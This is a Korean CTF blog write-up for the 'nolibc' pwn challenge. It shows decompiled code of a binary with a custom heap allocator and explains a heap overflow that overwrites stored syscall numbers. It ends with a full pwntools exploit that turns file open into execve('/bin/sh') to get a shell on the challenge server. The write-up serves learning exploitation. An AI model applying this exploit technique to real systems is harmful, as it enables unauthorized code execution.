분석에 시간을 많이 썼던 문제
(심볼 없고 함수가 너무 많았던..)
라이브러리 없이 사용자 정의 함수로 굴러가는 바이너리다.
적당히 rename하면서 분석을 수행한다.
void __noreturn start()
{
int menu_num; // [rsp+8h] [rbp-8h]
int num; // [rsp+Ch] [rbp-4h]
init();
while ( 1 )
{
write("Welcome to String Storage!");
write("Please login or register an account to continue :)");
write(&null);
while ( user_idx == 0xFFFFFFFF )
{
write("1. Login");
write("2. Register");
write("3. Exit");
printf("Choose an option: ");
menu_num = get_num();
write(&null);
switch ( menu_num )
{
case 1:
Login();
break;
case 2:
Register();
break;
case 3:
Exit();
break;
default:
write("Invalid option");
break;
}
write(&null);
}
printf("Welcome to String Storage, ");
printf(user_list[user_idx]->username);
write("!");
write(&null);
while ( 1 )
{
write("1. Add string");
write("2. Delete string");
write("3. View strings");
write("4. Save to File");
write("5. Load from File");
write("6. Logout");
printf("Choose an option: ");
num = get_num();
write(&null);
switch ( num )
{
case 1:
add_string();
goto LABEL_26;
case 2:
delete_string();
goto LABEL_26;
case 3:
veiw_string();
goto LABEL_26;
case 4:
save_to_file();
goto LABEL_26;
case 5:
load_from_file();
goto LABEL_26;
}
if ( num == 6 )
break;
write("Invalid option");
LABEL_26:
write(&null);
}
user_idx = 0xFFFFFFFF;
}
}
int *Login()
{
int *password; // [rsp+8h] [rbp-18h]
int *username; // [rsp+10h] [rbp-10h]
int i; // [rsp+1Ch] [rbp-4h]
printf("Username: ");
username = allocate(0x40);
if ( username )
{
read(username, 0x40);
if ( strlen(username) )
{
printf("Password: ");
password = allocate(0x40);
if ( password )
{
read(password, 0x40);
if ( strlen(password) )
{
if ( user_count )
{
for ( i = 0; i < user_count; ++i )
{
if ( auth(user_list[i]->username, username) && auth(user_list[i]->password, password) )
user_idx = i;
}
if ( user_idx == 0xFFFFFFFF )
write("Invalid username or password");
else
write("Logged in successfully!");
heap_management1(username);
return heap_management1(password);
}
else
{
return write("No users registered");
}
}
else
{
write("Invalid password");
heap_management1(password);
return Login();
}
}
else
{
write("Invalid password");
heap_management1(0LL);
return Login();
}
}
else
{
write("Invalid username");
heap_management1(username);
return Login();
}
}
else
{
write("Invalid username");
heap_management1(0LL);
return Login();
}
}
__int64 Register()
{
user_info_st *user_info; // [rsp+8h] [rbp-18h]
char *password; // [rsp+10h] [rbp-10h]
char *username; // [rsp+18h] [rbp-8h]
if ( user_count > 0 )
return write("You can only register one account!");
printf("Username: ");
username = allocate(0x20);
if ( username )
{
read(username, 0x20);
if ( strlen(username) )
{
printf("Password: ");
password = allocate(0x20);
if ( password )
{
read(password, 0x20);
if ( strlen(password) )
{
user_info = allocate(0x4010);
user_info->username = username;
user_info->password = password;
user_info->str_count = 0;
user_list[user_count++] = user_info;
return write("User registered successfully!");
}
else
{
write("Invalid password");
heap_management1(password);
return Register();
}
}
else
{
write("Invalid password");
heap_management1(0LL);
return Register();
}
}
else
{
write("Invalid username");
heap_management1(username);
return Register();
}
}
else
{
write("Invalid username");
heap_management1(0LL);
return Register();
}
}
__int64 Exit()
{
__int64 result; // rax
result = exit_syscall;
__asm { syscall; LINUX - }
return result;
}
__int64 add_string()
{
char *string_buffer; // [rsp+0h] [rbp-10h]
int num; // [rsp+Ch] [rbp-4h]
if ( user_list[user_idx]->str_count > 0x7FE )
return write("You have reached the maximum number of strings");
printf("Enter string length: ");
num = get_num();
if ( num > 0 && num <= 0x100 )
{
printf("Enter a string: ");
string_buffer = allocate(num + 1);
if ( !string_buffer )
{
write("Failed to allocate memory");
write(&null);
Exit();
}
read(string_buffer, num + 1);
user_list[user_idx]->string_ptr_array[user_list[user_idx]->str_count++] = string_buffer;
return write("String added successfully!");
}
else
{
write("Invalid length");
return write(&null);
}
}
__int64 delete_string()
{
int num; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]
if ( user_list[user_idx]->str_count )
{
printf("Enter the index of the string to delete: ");
num = get_num();
if ( num >= 0 && num < user_list[user_idx]->str_count )
{
heap_management1(user_list[user_idx]->string_ptr_array[num]);
for ( i = num; i < user_list[user_idx]->str_count - 1; ++i )
user_list[user_idx]->string_ptr_array[i] = user_list[user_idx]->string_ptr_array[i + 1];
--user_list[user_idx]->str_count;
return write("String deleted successfully!");
}
else
{
write("Invalid index");
return write(&null);
}
}
else
{
write("No strings to delete");
return write(&null);
}
}
__int64 veiw_string()
{
__int64 result; // rax
int i; // [rsp+Ch] [rbp-4h]
if ( user_list[user_idx]->str_count )
{
for ( i = 0; ; ++i )
{
result = user_list[user_idx]->str_count;
if ( i >= result )
break;
printf("String ");
maybe_counter(i);
printf(": ");
write(user_list[user_idx]->string_ptr_array[i]);
}
}
else
{
write("No strings to view");
return write(&null);
}
return result;
}
chunk_st *save_to_file()
{
int v1; // [rsp+8h] [rbp-28h]
char *file_buffer; // [rsp+10h] [rbp-20h]
char *filename; // [rsp+18h] [rbp-18h]
int j; // [rsp+24h] [rbp-Ch]
int i; // [rsp+28h] [rbp-8h]
int v6; // [rsp+2Ch] [rbp-4h]
printf("Enter the filename: ");
filename = allocate(0x20);
if ( filename && (read(filename, 0x20), strlen(filename)) && !strcmp(filename, "flag") )
{
file_buffer = allocate(0x7FFF);
if ( !file_buffer )
{
write("Failed to allocate memory");
write(&null);
Exit();
}
v6 = 0;
for ( i = 0; i < user_list[user_idx]->str_count; ++i )
{
v1 = strlen(user_list[user_idx]->string_ptr_array[i]);
for ( j = 0; j < v1; ++j )
file_buffer[v6++] = *(user_list[user_idx]->string_ptr_array[i] + j);
file_buffer[v6++] = 0xA;
}
if ( file_write() >= 0 )
{
write("Strings saved to file successfully!");
return heap_management1(file_buffer);
}
else
{
write("Failed to write file");
return write(&null);
}
}
else
{
write("Invalid filename");
return write(&null);
}
}
chunk_st *load_from_file()
{
char *v1; // [rsp+0h] [rbp-30h]
int v2; // [rsp+Ch] [rbp-24h]
char *file_buffer; // [rsp+10h] [rbp-20h]
char *filename; // [rsp+18h] [rbp-18h]
int i; // [rsp+20h] [rbp-10h]
int v6; // [rsp+24h] [rbp-Ch]
int v7; // [rsp+28h] [rbp-8h]
int v8; // [rsp+2Ch] [rbp-4h]
printf("Enter the filename: ");
filename = allocate(0x20);
if ( filename && (read(filename, 0x20), strlen(filename)) && !strcmp(filename, "flag") )
{
file_buffer = allocate(0x7FFF);
if ( !file_buffer )
{
write("Failed to allocate memory");
write(&null);
Exit();
}
v2 = file_read();
if ( v2 >= 0 )
{
v8 = 0;
v7 = 0;
while ( v8 < v2 )
{
v6 = 0;
while ( file_buffer[v8] != 0xA )
{
++v6;
++v8;
}
v1 = allocate(v6 + 1);
if ( !v1 )
{
write("Failed to allocate memory");
write(&null);
Exit();
}
for ( i = 0; i < v6; ++i )
v1[i] = file_buffer[v7++];
v1[v6] = 0;
user_list[user_idx]->string_ptr_array[user_list[user_idx]->str_count++] = v1;
++v8;
++v7;
}
write("Strings loaded from file successfully!");
return heap_management1(file_buffer);
}
else
{
write("Failed to read file");
return write(&null);
}
}
else
{
write("Invalid filename");
return write(&null);
}
}
유틸 함수들은 다음과 같다.
__int64 __fastcall sub_15F4(__int64 a1, signed int a2)
{
char v3; // [rsp+1Bh] [rbp-31h] BYREF
__int64 v4; // [rsp+1Ch] [rbp-30h]
__int64 v5; // [rsp+24h] [rbp-28h]
char *v6; // [rsp+2Ch] [rbp-20h]
__int64 v7; // [rsp+34h] [rbp-18h]
__int64 v8; // [rsp+3Ch] [rbp-10h]
unsigned int i; // [rsp+48h] [rbp-4h]
for ( i = 0; i < a2; ++i )
{
v8 = read_syscall;
v7 = 0LL;
v6 = &v3;
v5 = 1LL;
__asm { syscall; LINUX - }
v4 = read_syscall;
if ( v3 == 0xA )
{
*(i + a1) = 0;
return i;
}
*(a1 + i) = v3;
}
return i;
}
__int64 __fastcall write(unsigned __int8 *a1)
{
__int64 result; // rax
printf(a1);
result = write_syscall;
__asm { syscall; LINUX - }
return result;
}
__int64 __fastcall printf(unsigned __int8 *a1)
{
__int64 result; // rax
while ( 1 )
{
result = *a1;
if ( !result )
break;
__asm { syscall; LINUX - }
++a1;
}
return result;
}
char *__fastcall allocate(int req_size)
{
chunk_st *next_chunk; // [rsp+4h] [rbp-20h]
int size; // [rsp+10h] [rbp-14h]
chunk_st *allocate_addr_1; // [rsp+14h] [rbp-10h]
chunk_st *allocate_addr; // [rsp+1Ch] [rbp-8h]
if ( !req_size )
return 0LL;
size = (req_size + 0xF) & 0xFFFFFFF0;
allocate_addr = next_allocate_addr;
allocate_addr_1 = 0LL;
while ( 1 )
{
if ( !allocate_addr )
return 0LL;
if ( size <= allocate_addr->size )
break;
allocate_addr_1 = allocate_addr;
allocate_addr = allocate_addr->next;
}
if ( allocate_addr->size >= (size + 0x10LL) )
{
next_chunk = &allocate_addr->data[size];
next_chunk->size = allocate_addr->size - size - 0x10;
next_chunk->next = allocate_addr->next;
allocate_addr->next = next_chunk;
allocate_addr->size = size;
}
if ( allocate_addr_1 )
allocate_addr_1->next = allocate_addr->next;
else
next_allocate_addr = allocate_addr->next;
return allocate_addr->data;
}
chunk_st *__fastcall heap_management1(chunk_st *check_chunk_data)
{
chunk_st *result; // rax
chunk_st *check_chunk; // [rsp+18h] [rbp-18h]
chunk_st *next_allocate_addr_2; // [rsp+20h] [rbp-10h]
chunk_st *next_allocate_addr_1; // [rsp+28h] [rbp-8h]
if ( check_chunk_data )
{
result = heap1;
if ( check_chunk_data >= heap1 )
{
result = &read_syscall;
// heap overflow check
if ( check_chunk_data < &read_syscall )
{
check_chunk = check_chunk_data + 0xFFFFFFFF;
next_allocate_addr_1 = next_allocate_addr;
next_allocate_addr_2 = 0LL;
while ( next_allocate_addr_1 && next_allocate_addr_1 < check_chunk )
{
next_allocate_addr_2 = next_allocate_addr_1;
next_allocate_addr_1 = next_allocate_addr_1->next;
}
if ( next_allocate_addr_2 )
{
check_chunk->next = next_allocate_addr_2->next;
next_allocate_addr_2->next = check_chunk;
}
else
{
check_chunk->next = next_allocate_addr;
next_allocate_addr = CONTAINING_RECORD(check_chunk_data, chunk_st, data);
}
return heap_managemen2();
}
}
}
return result;
}
chunk_st *heap_managemen2()
{
chunk_st *next_allocate_addr_0; // rax
int v1; // [rsp+0h] [rbp-Ch]
chunk_st *next_allocate_addr_1; // [rsp+4h] [rbp-8h]
next_allocate_addr_0 = next_allocate_addr;
next_allocate_addr_1 = next_allocate_addr;
while ( next_allocate_addr_1 )
{
next_allocate_addr_0 = next_allocate_addr_1->next;
if ( !next_allocate_addr_0 )
break;
if ( &next_allocate_addr_1->data[next_allocate_addr_1->size] == next_allocate_addr_1->next )
{
next_allocate_addr_1->size += next_allocate_addr_1->next->size + 0x10;
next_allocate_addr_0 = next_allocate_addr_1;
next_allocate_addr_1->next = next_allocate_addr_1->next->next;
}
else
{
next_allocate_addr_0 = next_allocate_addr_1->next;
next_allocate_addr_1 = next_allocate_addr_0;
}
}
if ( next_allocate_addr_1 )
{
v1 = heap2 - (next_allocate_addr_1 - heap1);
next_allocate_addr_0 = next_allocate_addr_1->size;
if ( v1 > next_allocate_addr_0 )
{
next_allocate_addr_0 = next_allocate_addr_1;
next_allocate_addr_1->size = v1 - 0x10;
}
}
return next_allocate_addr_0;
}
함수들이 많아서 분석이 약간 복잡하지만 취약점 자체는 간단하게 터진다.
계속 할당을 받다보면 heap2 뒤로 syscall 번호가 저장된 부분까지 오버플로우가 발생한다.
open_syscall을 execve_syscall로 바꿔주면
파일을 open할 때 파일 이름을 "/bin/sh"로 설정하면 쉘을 얻을 수 있다.
save_to_file가 아닌 load_from_file를 써야하는데 쓰기 권한 문제인 것 같다
from pwn import *
def login(id,pw):
p.sendlineafter(b'option:',b'1')
p.sendlineafter(b'Username:',id)
p.sendlineafter(b'Password:',pw)
def register(id,pw):
p.sendlineafter(b'option:',b'2')
p.sendlineafter(b'Username:',id)
p.sendlineafter(b'Password:',pw)
def exit(id,pw):
p.sendlineafter(b'option:',b'3')
def add_string(size,data):
p.sendlineafter(b'option:',b'1')
p.sendlineafter(b'length:',str(size).encode())
p.sendlineafter(b'string:',data)
def delete_string(idx):
p.sendlineafter(b'option:',b'2')
p.sendlineafter(b'delete:',str(idx).encode())
def view_string():
p.sendlineafter(b'option:',b'3')
def save_to_file(filename):
p.sendlineafter(b'option:',b'4')
p.sendlineafter(b'filename:',filename)
def load_from_file(filename):
p.sendlineafter(b'option:',b'5')
p.sendlineafter(b'filename:',filename)
def logout():
p.sendlineafter(b'option:',b'6')
context.log_level = 'debug'
# p = process('./main')
p = remote('nolibc.chals.sekai.team', 1337, ssl=True)
register(b'ssongk',b'ssongk')
login(b'ssongk',b'ssongk')
for _ in range(170):
add_string(0x100,b'add_string')
add_string(0x3F,b'a'*0x30+p32(0)+p32(1)+p32(0x3b))
for i in range(100):
delete_string(i)
load_from_file(b'/bin/sh')
p.interactive()
'CTF' 카테고리의 다른 글
CSAW CTF 2024 Quals (Pwn) (0) | 2024.09.15 |
---|---|
DeadSec CTF 2024 (Pwn) (0) | 2024.07.28 |
ImaginaryCTF 2024 (Pwn) (5) | 2024.07.22 |
DownUnderCTF 2024 (Pwn) (0) | 2024.07.08 |
[hxpCTF 2020] kernel-rop (with write-up) (2) (0) | 2024.06.30 |